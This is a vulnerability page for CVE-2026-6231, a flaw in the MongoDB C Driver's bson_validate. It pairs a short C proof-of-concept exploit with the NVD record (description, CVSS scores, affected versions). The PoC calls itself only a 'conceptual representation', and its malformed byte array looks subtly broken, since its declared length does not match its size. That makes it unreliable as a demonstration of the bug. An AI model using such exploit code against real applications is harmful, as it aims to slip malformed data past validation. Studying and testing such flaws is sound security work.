CVE-2026-6231

#include <bson/bson.h> #include <stdio.h> int main() { // PoC for CVE-2026-6231: BSON Validation Bypass // Simulate sending a BSON document with invalid UTF-8 // that triggers the early return vulnerability. // Note: Actual bytes would be crafted to trigger the specific path // This is a conceptual representation. const uint8_t invalid_data[] = {0x05, 0x00, 0x00, 0x00, 0x02, 0x61, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00}; // Example malformed BSON bson_t *doc = bson_new_from_data(invalid_data, sizeof(invalid_data)); if (doc) { bool is_valid = bson_validate(doc, BSON_VALIDATE_UTF8, NULL); if (is_valid) { printf("[+] Exploit Successful: Validation bypassed for malformed BSON.\n"); } else { printf("[-] Exploit Failed: Validation rejected the data.\n"); } bson_destroy(doc); } else { printf("[-] Failed to parse BSON structure.\n"); } return 0; }

{"cve": {"id": "CVE-2026-6231", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:36.570", "lastModified": "2026-05-06T17:05:47.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The bson_validate function may return early on specific inputs and incorrectly report success. This behavior could result in skipping validation for BSON data, allowing malformed or invalid UTF-8 sequences to bypass validation and be processed incorrectly. The issue may affect applications that rely on these functions to validate untrusted BSON data before further processing. This issue affects MongoDB C Driver versions prior to 1.30.5, MongoDB C Driver version 2.0.0 and MongoDB C Driver version 2.0.1"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionEndExcluding": "1.30.5", "matchCriteriaId": "FC01B4CD-2834-4398-9C1D-4D3778EF30C8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.2", "matchCriteriaId": "05A27596-6E2C-433C-ACED-1543B88842C0"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/CDRIVER-6017", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}